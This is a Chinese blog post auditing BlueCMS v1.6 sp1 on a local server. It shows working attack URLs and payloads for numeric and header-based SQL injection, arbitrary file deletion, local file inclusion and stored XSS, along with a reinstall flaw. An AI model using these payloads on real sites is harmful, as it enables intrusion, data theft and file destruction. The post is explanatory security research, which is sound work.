BlueCMS代码审计
BlueCMS版本号为:bluecms_v1.6_sp1
本地搭建环境后将源代码丢进seay源代码审计系统,开启本地web服务页面访问,大部分白盒+小部分黑盒审计
搭建好环境后第一步先检查是否有重装漏洞,访问网站install位置,我的网址是:
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/install/ |
可以看到存在重装漏洞,源代码里面没有检测网站是否已经搭建,所以我们可以通过重装获取管理员密码进而在后台写入shell
同时我们也可以在填入配置的时候,可以尝试直接写入一句话木马进config.php文件,从而拿到shell
这个时候seay审计工具也审计结束了
我们可以依次进行分析,找出漏洞
进入ID=1的漏洞详情
疑似漏洞点为:
1 | $ad = $db ->getone( "SELECT * FROM " .table( 'ad' ). " WHERE ad_id =" . $ad_id ); |
可以看到$ad_id没有引号包裹,存在数字型SQL注入漏洞,接下来我们需要找到$ad_id参数的输入点,构造利用点
这里只对输入的$ad_id进行了空格的过滤
1 | $ad_id = ! empty ( $_GET [ 'ad_id' ]) ? trim( $_GET [ 'ad_id' ]) : '' ; |
输出位置代码为:
1 | echo "<!--\r\ndocument.write(\"" . $ad_content . "\");\r\n-->\r\n" ; |
而在ad_js.php文件的开头引入了过滤文件
1 | require_once dirname( __FILE__ ) . '/include/common.inc.php' ; |
我们查看common.inc.php文件,有
1 2 3 4 5 6 7 | if (!get_magic_quotes_gpc()) { $_POST = deep_addslashes( $_POST ); $_GET = deep_addslashes( $_GET ); $_COOKIES = deep_addslashes( $_COOKIES ); $_REQUEST = deep_addslashes( $_REQUEST ); } |
若果没有开启GPC防注入的话,则对POST,GET,COOKIE,REQUEST参数都进行过滤,但是deep_addslashes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | function deep_addslashes( $str ) { if ( is_array ( $str )) { foreach ( $str as $key => $val ) { $str [ $key ] = deep_addslashes( $val ); } } else { $str = addslashes ( $str ); } return $str ; } |
仅仅是在addslashes过滤函数基础上的一个修改,而addslashes函数是不能防止数字型注入的,回到刚才漏洞的注入点:
1 | $ad = $db ->getone( "SELECT * FROM " .table( 'ad' ). " WHERE ad_id =" . $ad_id ); |
可以看到这里是数字型的注入,所以我们能够直接进行注入。
添加单引号:
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27 |
从源代码我们已经看出来这是数字型注入了,我们可以不输入单引号,但是如果不是数字型注入,我们尝试使用宽字节绕过GPC
1 | <a href= "http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%df%27" rel= "noopener nofollow" >http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%df%27</a> |
成功令%df%27合成一个汉字
宽字节注入绕过GPC实际上是PHP与MySQL交互过程中发生编码转换导致的问题,从上面我们可以看到将转义符去除了,进而可以对于字符型注入
当然这里我们继续使用数字型,使用order by 判断字段数
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207 |
页面没有任何显示,因为在ad_js.php的输出里面是
1 | echo "<!--\r\ndocument.write(\"" . $ad_content . "\");\r\n-->\r\n" ; |
将输出在源代码中注释了,不会显示在界面中,想要查看也很简单,查看源代码即可
字段数是7,查看回显位置
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 |
回显位置是7,简单查看一下user用户
成功读取当前用户,SQL注入漏洞成功利用。
第二个漏洞点在:
1 | $db ->query( "UPDATE " .table( 'ann' ). " SET click = click+1 WHERE ann_id = " . $ann_id ); |
同样可以看到可能存在数字型注入
1 | $ann_id = ! empty ( $_REQUEST [ 'ann_id' ]) ? intval ( $_REQUEST [ 'ann_id' ]) : '' ; |
但是在这里将输入的ann_id进行了数字的转换,以至于不能进一步利用
另外好几个疑似SQL注入的点都是用intval进行了数字转换导致不能利用
疑似任意文件删除漏洞:
1 2 3 4 5 6 7 8 9 | elseif ( $act == 'del_pic' ) { $id = $_REQUEST [ 'id' ]; $db ->query( "DELETE FROM " .table( 'post_pic' ). " WHERE pic_path='$id'" ); if ( file_exists (BLUE_ROOT. $id )) { @unlink(BLUE_ROOT. $id ); } } |
可以看出来,选择动作为删除,传入id参数,先从数据库中将其删除,然后如果本地存在该文件也一并继续删除。
我们在同目录下创建test.txt
payload为:
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt |
访问构造的网址
文件已删除,进一步可删除服务器任意文件
二更
继续看疑似漏洞点
1 | $condition = " AND cat_id IN(SELECT cat_id FROM " .table( 'category' ). " WHERE parentid = " . $cid . ")" ; |
同样,对于$cid使用了强转,无法利用
1 | $cid = ! empty ( $_REQUEST [ 'cid' ]) ? intval ( $_REQUEST [ 'cid' ]) : '' ; |
本地文件包含疑似漏洞点:
1 2 3 4 5 6 7 8 9 10 | elseif ( $act == 'pay' ){ include 'data/pay.cache.php' ; $price = $_POST [ 'price' ]; $id = $_POST [ 'id' ]; $name = $_POST [ 'name' ]; if ( empty ( $_POST [ 'pay' ])) { showmsg( '对不起,您没有选择支付方式ʽ' ); } include 'include/payment/' . $_POST [ 'pay' ]. "/index.php" ; } |
我们到bluecms的文件夹里面去找pay能够选择哪种支付方式:
alipay,所以我们先构造pay=alipay
跳转到了支付宝的一个支付界面,接着我们尝试本地文件包含,先尝试%00截断和和windows下点+斜杠截断的方法,把本地phpstudy环境中php版本开到5.3.4以下,因为这两个截断在5.3以后的版本中已经全面修复了。
alipay同目录下创建log.txt文件,文件内容为:
先尝试00截断:
页面无回显,我们在源代码中添加一句:
重新提交POST数据,可以看到页面显示了我们提交后的pay
应该是引入了过滤函数,将0前面添加了反斜杠防止截断。
再尝试windows下使用240个连接的点进行截断,我也没数有多少个,反正多输几个再说
可以看到成功包含了本地文件,存在本地文件包含漏洞
在user.php中也存在疑似任意文件删除
1 2 3 4 5 6 7 | elseif ( $act == 'del_pic' ){ $id = $_REQUEST [ 'id' ]; $db ->query( "DELETE FROM " .table( 'company_image' ). " WHERE path='$id'" ); if ( file_exists (BLUE_ROOT. $id )){ @unlink(BLUE_ROOT. $id ); } } |
可以看到这一段与之前publish.php是类似的(除了表名不同)
所以我们简单尝试是否存在任意文件删除,到user.php同目录文件夹下创建test.txt
构造的payload为:
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt |
但是此时页面却报错了
个人感觉是由于在publish.php中删除,虽然其在数据库中即便没有找到该路径,但是程序选择了继续执行下去,但是在user.php中设置的是如果没有找到该路径,就抛出错误,同时不再继续进行,故这里不能进行任意文件的删除。
在user.php中另外一处疑似任意文件删除漏洞
1 2 3 4 5 6 7 8 9 10 11 12 | if (! empty ( $_POST [ 'face_pic1' ])){ if ( strpos ( $_POST [ 'face_pic1' ], 'http://' ) != false && strpos ( $_POST [ 'face_pic1' ], 'https://' ) != false){ showmsg( 'ֻ֧只支持本站相对路径地址' ); } else { $face_pic = trim( $_POST [ 'face_pic1' ]); } } else { if ( file_exists (BLUE_ROOT. $_POST [ 'face_pic3' ])){ @unlink(BLUE_ROOT. $_POST [ 'face_pic3' ]); } } |
可以看到在else中对于POST输入的face_pic3没有进行其余的检查而直接@unlink删除了文件。
同样先创建test.txt文件
hackerbar构造:
运行后更新个人资料成功
同时目录下的test.txt文件已被删除
bluecms中获取用户IP地址是通过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function getip() { if ( getenv ( 'HTTP_CLIENT_IP' )) { $ip = getenv ( 'HTTP_CLIENT_IP' ); } elseif ( getenv ( 'HTTP_X_FORWARDED_FOR' )) { //获取客户端用代理服务器访问时的真实ip 地址 $ip = getenv ( 'HTTP_X_FORWARDED_FOR' ); } elseif ( getenv ( 'HTTP_X_FORWARDED' )) { $ip = getenv ( 'HTTP_X_FORWARDED' ); } elseif ( getenv ( 'HTTP_FORWARDED_FOR' )) { $ip = getenv ( 'HTTP_FORWARDED_FOR' ); } elseif ( getenv ( 'HTTP_FORWARDED' )) { $ip = getenv ( 'HTTP_FORWARDED' ); } else { $ip = $_SERVER [ 'REMOTE_ADDR' ]; } return $ip ; } |
实际上使用XFF是能够绕过的,大概看了一下,对于ban掉的IP也是通过XFF获取到的IP地址来判断的,并不安全
在guest_book.php文件中调用了获取到的IP地址存储到数据库中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | elseif ( $act == 'send' ) { $user_id = $_SESSION [ 'user_id' ] ? $_SESSION [ 'user_id' ] : 0; $rid = intval ( $_POST [ 'rid' ]); $content = ! empty ( $_POST [ 'content' ]) ? htmlspecialchars( $_POST [ 'content' ]) : '' ; $content = nl2br ( $content ); if ( empty ( $content )) { showmsg( '评论内容不能为空' ); } $sql = "INSERT INTO " . table( 'guest_book' ) . " (id, rid, user_id, add_time, ip, content) VALUES ( '' , '$rid' , '$user_id' , '$timestamp' , '$online_ip' , '$content' )"; $db ->query( $sql ); showmsg( '恭喜您留言成功' , 'guest_book.php?page_id=' . $_POST [ 'page_id' ]); } |
$online_ip是在guest_book.php包含的common.inc.php文件中获取到的:
1 | $online_ip = getip(); |
getip函数在common.fun.php中,上面我们显示过代码,这里不再赘述。
虽然整个代码里面开启了SQL防注入以及参数过滤,但是在PHP5之后使用$_SERVER取到的header字段不会受到GPC的影响,而在header注入中最常见也是程序员经常会忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我们这里就是利用这个特性钻了空子而注入。
先在网页上尝试留言
留言成功,使用burpsuite抓包,使用client-ip伪造ip地址
这里有很多种注入方式,我们简单回显当前数据库用户
明天再更,找一些XSS漏洞
三更
找一下XSS漏洞,XSS漏洞经常出现在文章发表,评论回复,留言以及资料设置等地方,这里我们根据功能点去寻找
来到留言反馈界面
1 | http: //127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php |
代码里有:
1 | $content = ! empty ( $_POST [ 'content' ]) ? htmlspecialchars( $_POST [ 'content' ]) : '' ; |
对于我们输入的正文content进行了XSS过滤
昨天有一个漏洞是client-ip进行注入,尝试了一下在伪造ip中添加XSS攻击脚本,但是getip()获取的长度有限制,不能构成攻击,但是这里确实是存在XSS漏洞,将guest_book.htm显示IP代码修改一下:
1 | 发表于:{# $guest_list [g].add_time|date_format: "%Y-%m-%d %H:%M:%S" #} IP: <script>{# $guest_list [g].ip#}</script> |
在IP处添加了script来显示。
如果没有长度限制,应该将script添加到client-ip里面,发送留言
修改成有漏洞的代码了hhh。
继续寻找存储型的XSS漏洞,存储型XSS漏洞需要寻找未过滤的输入点和未过滤的输出函数,看一下个人资料处
这里的个人资料是可以修改的,查看输入个人资料处代码
1 2 3 4 5 6 7 8 9 | $birthday = trim( $_POST [ 'birthday' ]); $sex = intval ( $_POST [ 'sex' ]); $email = ! empty ( $_POST [ 'email' ]) ? trim( $_POST [ 'email' ]) : '' ; $msn = ! empty ( $_POST [ 'msn' ]) ? trim( $_POST [ 'msn' ]) : '' ; $qq = ! empty ( $_POST [ 'qq' ]) ? trim( $_POST [ 'qq' ]) : '' ; $mobile_phone = ! empty ( $_POST [ 'mobile_phone' ]) ? trim( $_POST [ 'mobile_phone' ]) : '' ; $office_phone = ! empty ( $_POST [ 'office_phone' ]) ? trim( $_POST [ 'office_phone' ]) : '' ; $home_phone = ! empty ( $_POST [ 'home_phone' ]) ? trim( $_POST [ 'home_phone' ]) : '' ; $address = ! empty ( $_POST [ 'address' ]) ? htmlspecialchars( $_POST [ 'address' ]) : '' ; |
看上去只对地址进行了XSS的过滤,再看看输出的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | $user = $db ->getone( "SELECT * FROM " .table( 'user' ). " WHERE user_id=" . intval ( $_SESSION [ 'user_id' ])); $ann_arr = get_ann(0, 8); template_assign( array ( 'act' , 'user' , 'current_act' , 'ann_arr' ), array ( $act , $user , '会员中心' , $ann_arr ) ); $smarty ->display( 'user.htm' ); |
将登陆用户的信息从数据库中提取出来,并且以user.htm为模板显示出来,模板部分代码为:
实际上经过测试此处能够XSS的输入框有两处:分别是邮箱,用户头像
因为现居住地经过了过滤,QQ,办公电话有长度限制,出生日期我不知道怎么设定的,应该是有输入规范2020-4-22这种,不能输入不合法的数字:
而邮箱处显示代码为:
1 | <td align= "left" ><input name= "email" type= "text" value= "{#$user.email#}" class = "inputbox" /></td> |
我们输入payload为:
1 | <script>alert(2)</script></td> // |
个人头像处显示代码为:
1 | <td align= "left" ><input type= "text" name= "face_pic1" value= "{#$user.face_pic#}" class = "inputbox" /></td> |
我们输入payload为:
1 | "/></td><script>alert(/xss/);</script> // |
确认修改后访问user.php
成功执行存储型XSS。
把《代码审计》一书看完了,接下来需要慢慢审小型CMS,印证自己看书时的一些想法,并且熟练运用书中的技巧,争取在上半年拿到CVE吧
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12739864.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!